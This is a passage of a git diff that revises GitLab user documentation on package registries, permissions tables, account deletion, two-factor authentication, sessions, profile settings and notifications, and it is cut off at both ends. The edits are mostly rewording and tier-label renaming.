content. +- The Package Registry on GitLab.com can store up to 5 GB of content. This limit is [configurable for self-managed GitLab instances](../../../administration/instance_limits.md#package-registry-limits). - If you publish the same package with the same version multiple times, each consecutive upload is saved as a separate file. When installing a package, @@ -324,8 +341,19 @@ updated: 1. Commit the changes and push it to your GitLab repository to trigger a new CI/CD build. +### Publishing a package with the same name or version + +When you publish a package with the same name or version as an existing package, +the existing package is overwritten. + ## Install packages +To install a NuGet package from the Package Registry, you must first +[add a project-level or group-level endpoint](#add-the-package-registry-as-a-source-for-nuget-packages). + +If multiple packages have the same name and version, when you install +a package, the most recently-published package is retrieved. + ### Install a package with the NuGet CLI WARNING: diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md index 5876ef19ad9..19796de0f51 100644 --- a/doc/user/packages/package_registry/index.md +++ b/doc/user/packages/package_registry/index.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Package Registry -> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. With the GitLab Package Registry, you can use GitLab as a private or public registry for a variety of common package managers. You can publish and share @@ -21,15 +21,21 @@ You can view packages for your project or group. You can search, sort, and filter packages on this page. +When you view packages in a group: + +- All projects published to the group and its projects are displayed. +- Only the projects you can access are displayed. +- If a project is private, or you are not a member of the project, it is not displayed. + For information on how to create and upload a package, view the GitLab documentation for your package type. ## Use GitLab CI/CD to build packages You can use [GitLab CI/CD](../../../ci/README.md) to build packages. -For Maven, NuGet, NPM, Conan, and PyPI packages, and Composer dependencies, you can +For Maven, NuGet, npm, Conan, and PyPI packages, and Composer dependencies, you can authenticate with GitLab by using the `CI_JOB_TOKEN`. -CI/CD templates, which you can use to get started, are in [this repo](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). +CI/CD templates, which you can use to get started, are in [this repository](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). Learn more about using CI/CD to build: @@ -37,7 +43,7 @@ Learn more about using CI/CD to build: - [Conan packages](../conan_repository/index.md#publish-a-conan-package-by-using-cicd) - [Generic packages](../generic_packages/index.md#publish-a-generic-package-by-using-cicd) - [Maven packages](../maven_repository/index.md#create-maven-packages-with-gitlab-cicd) -- [NPM packages](../npm_registry/index.md#publish-an-npm-package-by-using-cicd) +- [npm packages](../npm_registry/index.md#publish-an-npm-package-by-using-cicd) - [NuGet packages](../nuget_repository/index.md#publish-a-nuget-package-by-using-cicd) If you use CI/CD to build a package, extended activity information is displayed diff --git a/doc/user/packages/pypi_repository/index.md b/doc/user/packages/pypi_repository/index.md index 376c0439f32..763dbee3a82 100644 --- a/doc/user/packages/pypi_repository/index.md +++ b/doc/user/packages/pypi_repository/index.md @@ -4,10 +4,10 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# PyPI packages in the Package Registry +# PyPI packages in the Package Registry **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208747) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.10. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208747) in GitLab Premium 12.10. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. Publish PyPI packages in your project’s Package Registry. Then install the packages whenever you need to use them as a dependency. diff --git a/doc/user/packages/workflows/project_registry.md b/doc/user/packages/workflows/project_registry.md index d20c75e2d7a..9b99b126996 100644 --- a/doc/user/packages/workflows/project_registry.md +++ b/doc/user/packages/workflows/project_registry.md @@ -13,7 +13,7 @@ Then you can configure your remote repositories to point to the project in GitLa You might want to do this because: - You want to publish your packages in GitLab, but to a different project from where your code is stored. -- You want to group packages together in one project. For example, you might want to put all NPM packages, +- You want to group packages together in one project. For example, you might want to put all npm packages, or all packages for a specific department, or all private packages in the same project. - When you install packages for other projects, you want to use one remote. - You want to migrate your packages from a third-party package registry to a single place in GitLab and do not @@ -27,7 +27,7 @@ No functionality is specific to this feature. Instead, we're taking advantage of of each package management system to publish different package types to the same place. - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> - Watch a video of how to add Maven, NPM, and Conan packages to [the same project](https://youtu.be/ui2nNBwN35c). + Watch a video of how to add Maven, npm, and Conan packages to [the same project](https://youtu.be/ui2nNBwN35c). - [View an example project](https://gitlab.com/sabrams/my-package-registry/-/packages). ## Store different package types in one GitLab project @@ -44,14 +44,14 @@ Let's take a look at how you might create a public place to hold all of your pub You can upload all types of packages to the same project, or split things up based on package type or package visibility level. -### NPM +### npm -If you're using NPM, create an `.npmrc` file. Add the appropriate URL for publishing +If you're using npm, create an `.npmrc` file. Add the appropriate URL for publishing packages to your project. Finally, add a section to your `package.json` file. Follow the instructions in the -[GitLab NPM Registry documentation](../npm_registry/index.md#authenticate-to-the-package-registry). After -you do this, you can publish your NPM package to your project using `npm publish`, as described in the +[GitLab Package Registry npm documentation](../npm_registry/index.md#authenticate-to-the-package-registry). After +you do this, you can publish your npm package to your project using `npm publish`, as described in the [publishing packages](../npm_registry/index.md#publish-an-npm-package) section. ### Maven diff --git a/doc/user/permissions.md b/doc/user/permissions.md index 3dbae78ccc4..68a68ed65ad 100644 --- a/doc/user/permissions.md +++ b/doc/user/permissions.md @@ -142,13 +142,13 @@ The following table depicts the various user permission levels in a project. | Create/edit/delete metrics dashboard annotations | | | ✓ | ✓ | ✓ | | Run CI/CD pipeline against a protected branch | | | ✓ (*5*) | ✓ | ✓ | | Delete [packages](packages/index.md) | | | | ✓ | ✓ | -| Request a CVE ID **(FREE ONLY)** | | | | ✓ | ✓ | +| Request a CVE ID **(FREE SAAS)** | | | | ✓ | ✓ | | Use environment terminals | | | | ✓ | ✓ | -| Run Web IDE's Interactive Web Terminals **(ULTIMATE ONLY)** | | | | ✓ | ✓ | +| Run Web IDE's Interactive Web Terminals **(ULTIMATE SELF)** | | | | ✓ | ✓ | | Add new team members | | | | ✓ | ✓ | | Enable/disable branch protection | | | | ✓ | ✓ | | Push to protected branches | | | | ✓ | ✓ | -| Turn on/off protected branch push for devs | | | | ✓ | ✓ | +| Turn on/off protected branch push for developers | | | | ✓ | ✓ | | Enable/disable tag protections | | | | ✓ | ✓ | | Edit project settings | | | | ✓ | ✓ | | Edit project badges | | | | ✓ | ✓ | @@ -172,7 +172,7 @@ The following table depicts the various user permission levels in a project. | Delete wiki pages | | | | ✓ | ✓ | | View project Audit Events | | | ✓ (*12*) | ✓ | ✓ | | Manage [push rules](../push_rules/push_rules.md) | | | | ✓ | ✓ | -| Manage [project access tokens](project/settings/project_access_tokens.md) **(CORE ONLY)** | | | | ✓ | ✓ | +| Manage [project access tokens](project/settings/project_access_tokens.md) **(FREE SELF)** | | | | ✓ | ✓ | | Switch visibility level | | | | | ✓ | | Transfer project to another namespace | | | | | ✓ | | Rename project | | | | | ✓ | @@ -183,13 +183,14 @@ The following table depicts the various user permission levels in a project. | Delete pipelines | | | | | ✓ | | Delete merge request | | | | | ✓ | | Disable notification emails | | | | | ✓ | +| Administer project compliance frameworks | | | | | ✓ | | Force push to protected branches (*4*) | | | | | | | Remove protected branches (*4*) | | | | | | 1. Guest users are able to perform this action on public and internal projects, but not private projects. This doesn't apply to [external users](#external-users) where explicit access must be given even if the project is internal. 1. Guest users can only view the confidential issues they created themselves. 1. If **Public pipelines** is enabled in **Project Settings > CI/CD**. -1. Not allowed for Guest, Reporter, Developer, Maintainer, or Owner. See [Protected Branches](project/protected_branches.md). +1. Not allowed for Guest, Reporter, Developer, Maintainer, or Owner. See [protected branches](project/protected_branches.md). 1. If the [branch is protected](project/protected_branches.md#using-the-allowed-to-merge-and-allowed-to-push-settings), this depends on the access Developers and Maintainers are given. 1. Guest users can access GitLab [**Releases**](project/releases/index.md) for downloading assets but are not allowed to download the source code nor see repository information like tags and commits. 1. Actions are limited only to records owned (referenced) by user. @@ -282,7 +283,7 @@ group. | Manage group members | | | | | ✓ | | Delete group | | | | | ✓ | | Delete group epic **(PREMIUM)** | | | | | ✓ | -| Edit SAML SSO Billing **(SILVER ONLY)** | ✓ | ✓ | ✓ | ✓ | ✓ (4) | +| Edit SAML SSO Billing **(PREMIUM SAAS)** | ✓ | ✓ | ✓ | ✓ | ✓ (4) | | View group Audit Events | | | ✓ (7) | ✓ (7) | ✓ | | Disable notification emails | | | | | ✓ | | View Contribution analytics | ✓ | ✓ | ✓ | ✓ | ✓ | @@ -290,9 +291,10 @@ group. | View Issue analytics **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ | | View Productivity analytics **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ | | View Value Stream analytics | ✓ | ✓ | ✓ | ✓ | ✓ | -| View Billing **(FREE ONLY)** | | | | | ✓ (4) | -| View Usage Quotas **(FREE ONLY)** | | | | | ✓ (4) | +| View Billing **(FREE SAAS)** | | | | | ✓ (4) | +| View Usage Quotas **(FREE SAAS)** | | | | | ✓ (4) | | Filter members by 2FA status | | | | | ✓ | +| Administer project compliance frameworks | | | | | ✓ | 1. Groups can be set to [allow either Owners or Owners and Maintainers to create subgroups](group/subgroups/index.md#creating-a-subgroup) @@ -314,7 +316,7 @@ nested groups if you have membership in one of its parents. To learn more, read through the documentation on [subgroups memberships](group/subgroups/index.md#membership). -## External users **(CORE ONLY)** +## External users **(FREE SELF)** In cases where it is desired that a user has access only to some internal or private projects, there is the option of creating **External Users**. This @@ -352,6 +354,9 @@ An administrator can flag a user as external by either of the following methods: or edit an existing one. There, you can find the option to flag the user as external. +Additionally users can be set as external users using [SAML groups](../integration/saml.md#external-groups) +and [LDAP groups](../administration/auth/ldap/index.md#external-groups). + ### Setting new users to external By default, new users are not set as external users. This behavior can be changed @@ -396,7 +401,7 @@ Beware though that even if a user is external, if they already have Reporter or higher permissions in any project or group, they are **not** counted as a free guest user. -## Auditor users **(PREMIUM ONLY)** +## Auditor users **(PREMIUM SELF)** >[Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/998) in [GitLab Premium](https://about.gitlab.com/pricing/) 8.17. @@ -421,7 +426,8 @@ details such as projects or subgroups. They do not have access to the group's pa ### Minimal access users take license seats Users with even a "minimal access" role are counted against your number of license seats. This -requirement does not apply for [GitLab Gold/Ultimate](https://about.gitlab.com/pricing/) subscriptions. +requirement does not apply for [GitLab Ultimate](https://about.gitlab.com/pricing/) +subscriptions. ## Project features @@ -518,4 +524,4 @@ Read through the documentation on [LDAP users permissions](group/index.md#manage ## Project aliases Project aliases can only be read, created and deleted by a GitLab administrator. -Read through the documentation on [Project aliases](../user/project/index.md#project-aliases) to learn more. +Read through the documentation on [Project aliases](../user/project/import/index.md#project-aliases) to learn more. diff --git a/doc/user/profile/account/create_accounts.md b/doc/user/profile/account/create_accounts.md index cdf80f722f7..91688989e55 100644 --- a/doc/user/profile/account/create_accounts.md +++ b/doc/user/profile/account/create_accounts.md @@ -5,7 +5,7 @@ group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Creating users **(CORE ONLY)** +# Creating users **(FREE SELF)** You can create users: @@ -37,3 +37,5 @@ Users will be: - Automatically created upon first sign in with the [LDAP integration](../../../administration/auth/ldap/index.md). - Created when first signing in via an [OmniAuth provider](../../../integration/omniauth.md) if the `allow_single_sign_on` setting is present. +- Created when first signing with [Group SAML](../../group/saml_sso/index.md) +- Automatically created by [SCIM](../../group/saml_sso/scim_setup.md) when the user is created in the identity provider. diff --git a/doc/user/profile/account/delete_account.md b/doc/user/profile/account/delete_account.md index e347221bd66..a33b6742d61 100644 --- a/doc/user/profile/account/delete_account.md +++ b/doc/user/profile/account/delete_account.md @@ -17,20 +17,21 @@ Deleting a user will delete all projects in that user namespace. ## As a user -As a user, you can delete your own account by: +As a user, to delete your own account: -1. Clicking on your avatar. -1. Navigating to **Settings > Account**. -1. Selecting **Delete account**. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Account**. +1. Select **Delete account**. ## As an administrator -As an administrator, you can delete a user account by: +As an administrator, to delete a user account: -1. Navigating to **Admin Area > Overview > Users**. -1. Selecting a user. -1. Under the **Account** tab, clicking: - - **Delete user** to delete only the user but maintaining their +1. Go to **Admin Area > Overview > Users**. +1. Select a user. +1. Under the **Account** tab, select: + - **Delete user** to delete only the user but maintain their [associated records](#associated-records). - **Delete user and contributions** to delete the user and their associated records. diff --git a/doc/user/profile/account/index.md b/doc/user/profile/account/index.md deleted file mode 100644 index b10cc778f45..00000000000 --- a/doc/user/profile/account/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../index.md#profile-settings' ---- - -This document was moved to [../index.md#profile-settings](../index.md#profile-settings). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/profile/account/two_factor_authentication.md b/doc/user/profile/account/two_factor_authentication.md index 6cdd2d6f161..44bf97bdd42 100644 --- a/doc/user/profile/account/two_factor_authentication.md +++ b/doc/user/profile/account/two_factor_authentication.md @@ -44,7 +44,7 @@ To enable 2FA: 1. **In GitLab:** 1. Sign in to your GitLab account. - 1. Go to your [**Profile settings**](../index.md#profile-settings). + 1. Go to your [**User settings**](../index.md#user-settings). 1. Go to **Account**. 1. Select **Enable Two-factor Authentication**. 1. **On your device (usually your phone):** @@ -240,13 +240,13 @@ following desktop browsers: NOTE: For Firefox 47-66, you can enable the FIDO U2F API in -[about:config](https://support.mozilla.org/en-US/kb/about-config-editor-firefox). +[`about:config`](https://support.mozilla.org/en-US/kb/about-config-editor-firefox). Search for `security.webauth.u2f` and double click on it to toggle to `true`. To set up 2FA with a U2F device: 1. Sign in to your GitLab account. -1. Go to your [**Profile settings**](../index.md#profile-settings). +1. Go to your [**User settings**](../index.md#user-settings). 1. Go to **Account**. 1. Click **Enable Two-Factor Authentication**. 1. Connect your U2F device. @@ -262,7 +262,7 @@ Click on **Register U2F Device** to complete the process. > - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. > - It's disabled on GitLab.com. > - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-webauthn). **(CORE ONLY)** +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-webauthn). **(FREE SELF)** The WebAuthn workflow is [supported by](https://caniuse.com/#search=webauthn) the following desktop browsers: @@ -282,7 +282,7 @@ and the following mobile browsers: To set up 2FA with a WebAuthn compatible device: 1. Sign in to your GitLab account. -1. Go to your [**Profile settings**](../index.md#profile-settings). +1. Go to your [**User settings**](../index.md#user-settings). 1. Go to **Account**. 1. Select **Enable Two-Factor Authentication**. 1. Plug in your WebAuthn device. @@ -349,7 +349,7 @@ request and you're automatically signed in. If you ever need to disable 2FA: 1. Sign in to your GitLab account. -1. Go to your [**Profile settings**](../index.md#profile-settings). +1. Go to your [**User settings**](../index.md#user-settings). 1. Go to **Account**. 1. Click **Disable**, under **Two-Factor Authentication**. @@ -384,7 +384,7 @@ codes. If you saved these codes, you can use one of them to sign in. To use a recovery code, enter your username/email and password on the GitLab sign-in page. When prompted for a two-factor code, enter the recovery code. -Once you use a recovery code, you cannot re-use it. You can still use the other +After you use a recovery code, you cannot re-use it. You can still use the other recovery codes you saved. ### Generate new recovery codes using SSH @@ -434,7 +434,7 @@ a new set of recovery codes with SSH: When prompted for a two-factor code, enter one of the recovery codes obtained from the command-line output. -After signing in, visit your **Profile settings > Account** immediately to set +After signing in, visit your **User settings > Account** immediately to set up two-factor authentication with a new device. ### Regenerate 2FA recovery codes @@ -443,8 +443,8 @@ To regenerate 2FA recovery codes, you need access to a desktop browser: 1. Navigate to GitLab. 1. Sign in to your GitLab account. -1. Go to your [**Profile settings**](../index.md#profile-settings). -1. Select **{account}** **Account > Two-Factor Authentication (2FA)**. +1. Go to your [**User settings**](../index.md#user-settings). +1. Select **Account > Two-Factor Authentication (2FA)**. 1. If you've already configured 2FA, click **Manage two-factor authentication**. 1. In the **Register Two-Factor Authenticator** pane, click **Regenerate recovery codes**. @@ -479,7 +479,7 @@ Sign in and re-enable two-factor authentication as soon as possible. - To enforce 2FA at the system or group levels see [Enforce Two-factor Authentication](../../../security/two_factor_authentication.md). -## Enable or disable WebAuthn **(CORE ONLY)** +## Enable or disable WebAuthn **(FREE SELF)** Support for WebAuthn is under development and not ready for production use. It is deployed behind a feature flag that is **disabled by default**. diff --git a/doc/user/profile/active_sessions.md b/doc/user/profile/active_sessions.md index 381015f17c3..e55b92378bd 100644 --- a/doc/user/profile/active_sessions.md +++ b/doc/user/profile/active_sessions.md @@ -14,9 +14,11 @@ review the sessions, and revoke any you don't recognize. ## Listing all active sessions -1. Click your avatar. -1. Select **Settings**. -1. Click **Active Sessions** in the sidebar. +To list all active sessions: + +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Active Sessions**.  @@ -29,8 +31,12 @@ exceeds 100, the oldest ones are deleted. ## Revoking a session -1. Use the previous steps to navigate to **Active Sessions**. -1. Click on **Revoke** besides a session. The current session cannot be revoked, as this would sign you out of GitLab. +To revoke an active session: + +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Active Sessions**. +1. Select **Revoke** next to a session. The current session cannot be revoked, as this would sign you out of GitLab. NOTE: When any session is revoked all **Remember me** tokens for all diff --git a/doc/user/profile/img/profil-preferences-navigation-theme.png b/doc/user/profile/img/profil-preferences-navigation-theme.png Binary files differdeleted file mode 100644 index 335a19ac290..00000000000 --- a/doc/user/profile/img/profil-preferences-navigation-theme.png +++ /dev/null diff --git a/doc/user/profile/img/profile_following_v13_9.png b/doc/user/profile/img/profile_following_v13_9.png Binary files differnew file mode 100644 index 00000000000..878dce83997 --- /dev/null +++ b/doc/user/profile/img/profile_following_v13_9.png diff --git a/doc/user/profile/img/profile_settings_dropdown.png b/doc/user/profile/img/profile_settings_dropdown.png Binary files differdeleted file mode 100644 index 99b06a1bf58..00000000000 --- a/doc/user/profile/img/profile_settings_dropdown.png +++ /dev/null diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md index a96975fea92..d2cbf9e4acd 100644 --- a/doc/user/profile/index.md +++ b/doc/user/profile/index.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # User account Each GitLab account has a user profile, and settings. Your [profile](#user-profile) -contains information about you, and your GitLab activity. Your [settings](#profile-settings) +contains information about you, and your GitLab activity. Your [settings](#user-settings) allow you to customize some aspects of GitLab to suit yourself. ## Creating users @@ -29,8 +29,8 @@ See [Unknown Sign-In Notification](unknown_sign_in_notification.md) for more det To access your profile: -1. Click on your avatar. -1. Select **Profile**. +1. In the top-right corner, select your avatar. +1. Select your name or username. On your profile page, you can see the following information: @@ -41,13 +41,19 @@ On your profile page, you can see the following information: - Personal projects: your personal projects (respecting the project's visibility level) - Starred projects: projects you starred - Snippets: your personal code [snippets](../snippets.md#personal-snippets) +- Followers: people following you +- Following: people you are following -## Profile settings +Profile page with active Following view: -To access your profile settings: + -1. Click on your avatar. -1. Select **Settings**. +## User settings + +To access your user settings: + +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. From there, you can: @@ -78,11 +84,12 @@ From there, you can: ## Changing your password -1. Navigate to your [profile's](#profile-settings) **Settings > Password**. -1. Enter your current password in the 'Current password' field. -1. Enter your desired new password twice, once in the 'New password' field and - once in the 'Password confirmation' field. -1. Click the 'Save password' button. +1. Go to your [user settings](#user-settings). +1. In the left sidebar, select **Password**. +1. Enter your current password in the **Current password** field. +1. Enter your desired new password twice, once in the **New password** field and + once in the **Password confirmation** field. +1. Select **Save password**. If you don't know your current password, select the 'I forgot my password' link. @@ -92,17 +99,18 @@ If you don't know your current password, select the 'I forgot my password' link. Your `username` is a unique [`namespace`](../group/index.md#namespaces) related to your user ID. Changing it can have unintended side effects, read -[how redirects behave](../project/index.md#redirects-when-changing-repository-paths) +[how redirects behave](../project/repository/index.md#redirects-when-changing-repository-paths) before proceeding. To change your `username`: -1. Navigate to your [profile's](#profile-settings) **Settings > Account**. +1. Navigate to your [user settings](#user-settings). +1. In the left sidebar, select **Account**. 1. Enter a new username under **Change username**. -1. Click **Update username**. +1. Select **Update username**. WARNING: -It is currently not possible to change your username if it contains a +It is not possible to change your username if it contains a project with [Container Registry](../packages/container_registry/index.md) tags, because the project cannot be moved. @@ -127,33 +135,31 @@ The following information is hidden from the user profile page (`https://gitlab. - Starred projects tab - Snippets tab -To enable private profile: +To make your profile private: -1. Click your avatar. -1. Select **Profile**. -1. Click **Edit profile** (pencil icon). -1. Check the **Private profile** option in the **Main settings** section. -1. Click **Update profile settings**. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. Select the **Private profile** checkbox. +1. Select **Update profile settings**. NOTE: -All your profile information can be seen by yourself, and GitLab admins, even if +All your profile information can be seen by yourself and GitLab administrators even if the **Private profile** option is enabled. ## Add details of external accounts -GitLab allows you to add links to certain other external accounts you might have, like Skype and Twitter. They can help other users connect with you on other platforms. +You can add links to certain other external accounts you might have, like Skype and Twitter. +They can help other users connect with you on other platforms. To add links to other accounts: -1. Click your avatar. -1. Select **Profile**. -1. Click **Edit profile** (pencil icon). -1. Complete the desired fields for external accounts, in the **Main settings** - section: +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. Edit the desired fields for external accounts: - Skype - - Twitter - LinkedIn -1. Click **Update profile settings**. + - Twitter +1. Select **Update profile settings**. ## Private contributions @@ -163,11 +169,10 @@ Enabling private contributions includes contributions to private projects, in th To enable private contributions: -1. Click on your avatar. -1. Select **Profile**. -1. Click **Edit profile** (pencil icon). -1. Check the **Private contributions** option. -1. Click **Update profile settings**. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. Select the **Private contributions** checkbox. +1. Select **Update profile settings**. ## Current status @@ -183,23 +188,23 @@ They may however contain emoji codes such as `I'm on vacation :palm_tree:`. To set your current status: -1. Click your avatar. -1. Click **Set status**, or **Edit status** if you have already set a status. -1. Set the desired emoji and/or status message. -1. Click **Set status**. Alternatively, you can click **Remove status** to remove your user status entirely. +1. In the top-right corner, select your avatar. +1. Select **Set status**, or **Edit status** if you have already set a status. +1. Set the desired emoji and status message. +1. Select **Set status**. Alternatively, you can select **Remove status** to remove your user status entirely. or -1. Click your avatar. -1. Select **Profile**. -1. Click **Edit profile** (pencil icon). +1. In the top-right corner, select your avatar. +1. Select your name or username. +1. Select the Edit profile icon (**{pencil}**). 1. Enter your status message in the **Your status** text field. -1. Click **Add status emoji** (smiley face), and select the desired emoji. -1. Click **Update profile settings**. +1. Select Add status emoji icon (**{slight-smile}**), and select the desired emoji. +1. Select **Update profile settings**. You can also set your current status [using the API](../../api/users.md#user-status). -If you previously selected the "Busy" checkbox, remember to deselect it when you become available again. +If you previously selected the **Busy** checkbox, remember to deselect it when you become available again. ## Busy status indicator @@ -210,7 +215,7 @@ If you previously selected the "Busy" checkbox, remember to deselect it when you > - It's not recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-busy-status-feature). -To indicate to others that you are busy, you can set an indicator +To indicate to others that you are busy, you can set an indicator.  @@ -218,16 +223,15 @@ To set the busy status indicator, either: - Set it directly: - 1. Click your avatar. - 1. Click **Set status**, or **Edit status** if you have already set a status. - 1. Select the **Busy** checkbox + 1. In the top-right corner, select your avatar. + 1. Select **Set status**, or **Edit status** if you have already set a status. + 1. Select the **Busy** checkbox. - Set it on your profile: - 1. Click your avatar. - 1. Select **Profile**. - 1. Click **Edit profile** (**{pencil}**). - 1. Select the **Busy** checkbox + 1. In the top-right corner, select your avatar. + 1. Select **Edit profile**. + 1. Select the **Busy** checkbox. ### Disable busy status feature @@ -256,12 +260,11 @@ Any of your own verified email addresses can be used as the commit email. To change your commit email: -1. Click your avatar. -1. Select **Profile**. -1. Click **Edit profile** (pencil icon). -1. Click **Commit email** dropdown. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. Select the **Commit email** dropdown. 1. Select any of the verified emails. -1. Click **Update profile settings**. +1. Select **Update profile settings**. ### Private commit email @@ -272,14 +275,13 @@ which allows the user to keep their email information private. To enable this option: -1. Click your avatar. -1. Select **Profile**. -1. Click **Edit profile** (pencil icon). -1. Click **Commit email** dropdown. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. Select the **Commit email** dropdown. 1. Select **Use a private email** option. -1. Click **Update profile settings**. +1. Select **Update profile settings**. -Once this option is enabled, every Git-related action is performed using the private commit email. +After this option is enabled, every Git-related action is performed using the private commit email. To stay fully anonymous, you can also copy this private commit email and configure it on your local machine using the following command: @@ -298,7 +300,7 @@ and expires after "Application settings -> Session duration (minutes)"/`session_ (defaults to `10080` minutes = 7 days) of no activity. When signing in to the main GitLab application, you can also check the -"Remember me" option which sets the `remember_user_token` +**Remember me** option which sets the `remember_user_token` cookie (via [`devise`](https://github.com/heartcombo/devise)). `remember_user_token` expires after `config/initializers/devise.rb` -> `config.remember_for` (defaults to 2 weeks). @@ -326,7 +328,8 @@ GitLab uses both session and persistent cookies: - Session cookie: Session cookies are normally removed at the end of the browser session when the browser is closed. The `_gitlab_session` cookie has no fixed expiration date. However, it expires based on its [`session_expire_delay`](#why-do-i-keep-getting-signed-out). -- Persistent cookie: The `remember_user_token` is a cookie with an expiration date of two weeks. GitLab activates this cookie if you click Remember Me when you sign in. +- Persistent cookie: The `remember_user_token` is a cookie with an expiration date of two weeks. + GitLab activates this cookie if you select **Remember Me** when you sign in. By default, the server sets a time-to-live (TTL) of 1-week on any session that is used. @@ -336,15 +339,3 @@ The server continues to reset the TTL for that session, independent of whether 2 If you close your browser and open it up again, the `remember_user_token` cookie allows your user to reauthenticate itself. Without the `config.extend_remember_period` flag, you would be forced to sign in again after two weeks. - -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md index ae672d8414f..703154945db 100644 --- a/doc/user/profile/notifications.md +++ b/doc/user/profile/notifications.md @@ -15,8 +15,9 @@ Notifications are sent via email. You receive notifications for one of the following reasons: -- You participate in an issue, merge request, epic or design. In this context, _participate_ means comment, or edit. -- You enable notifications in an issue, merge request, or epic. To enable notifications, click the **Notifications** toggle in the sidebar to _on_. +- You participate in an issue, merge request, epic, or design. In this context, _participate_ means comment, or edit. +- You [enable notifications in an issue, merge request, or epic](#notifications-on-issues-merge-requests-and-epics). +- You configured notifications at the [project](#project-notifications) and/or [group](#group-notifications) level. While notifications are enabled, you receive notification of actions occurring in that issue, merge request, or epic. @@ -25,7 +26,9 @@ Notifications can be blocked by an administrator, preventing them from being sen ## Tuning your notifications -The quantity of notifications can be overwhelming. GitLab allows you to tune the notifications you receive. For example, you may want to be notified about all activity in a specific project, but for others, only be notified when you are mentioned by name. +The number of notifications can be overwhelming. GitLab allows you to tune the notifications you receive. +For example, you might want to be notified about all activity in a specific project. +For other projects, you only need to be notified when you are mentioned by name. You can tune the notifications you receive by combining your notification settings: @@ -53,6 +56,8 @@ Your **Global notification settings** are the default settings unless you select - This is the email address your notifications are sent to. - Global notification level - This is the default [notification level](#notification-levels) which applies to all your notifications. +- Receive product marketing emails + - Check this checkbox if you want to receive periodic emails related to GitLab features. - Receive notifications about your own activity. - Check this checkbox if you want to receive notification about your own activity. Default: Not checked. @@ -159,49 +164,64 @@ Users are notified of the following events: | Project moved | Project members (1) | (1) not disabled | | New release | Project members | Custom notification | -## Issue / Epics / Merge request events +## Notifications on issues, merge requests, and epics -In most of the below cases, the notification is sent to: +To enable notifications on one specific issue, merge request or epic, you need to enable the **Notifications** toggle in the right sidebar. + +- **Enable**: If you are not a participant in the discussion on that issue, but + want to receive notifications on each update, subscribe to it. +- **Disable**: If you are receiving notifications for updates to that issue but no + longer want to receive them, unsubscribe from it. + +Configuring this notification on an epic doesn't make you automatically subscribed to the issue that are linked to the epic. + +For most events, the notification is sent to: - Participants: - - the author and assignee of the issue/merge request - - authors of comments on the issue/merge request - - anyone mentioned by `@username` in the title or description of the issue, merge request or epic **(ULTIMATE)** - - anyone with notification level "Participating" or higher that is mentioned by `@username` in any of the comments on the issue, merge request, or epic **(ULTIMATE)** -- Watchers: users with notification level "Watch" -- Subscribers: anyone who manually subscribed to the issue, merge request, or epic **(ULTIMATE)** -- Custom: Users with notification level "custom" who turned on notifications for any of the events present in the table below + - The author and assignee of the issue/merge request. + - Authors of comments on the issue/merge request. + - Anyone mentioned by `@username` in the title or description of the issue, merge request or epic. + - Anyone with notification level "Participating" or higher that is mentioned by `@username` in any of the comments on the issue, merge request, or epic. +- Watchers: users with notification level "Watch". +- Subscribers: anyone who manually subscribed to the issue, merge request, or epic. +- Custom: Users with notification level "custom" who turned on notifications for any of the events present in the table below. NOTE: -To minimize the number of notifications that do not require any action, from [GitLab 12.9 onwards](https://gitlab.com/gitlab-org/gitlab/-/issues/616), eligible approvers are no longer notified for all the activities in their projects. To receive them they have to change their user notification settings to **Watch** instead. +To minimize the number of notifications that do not require any action, in +[GitLab versions 12.9 and 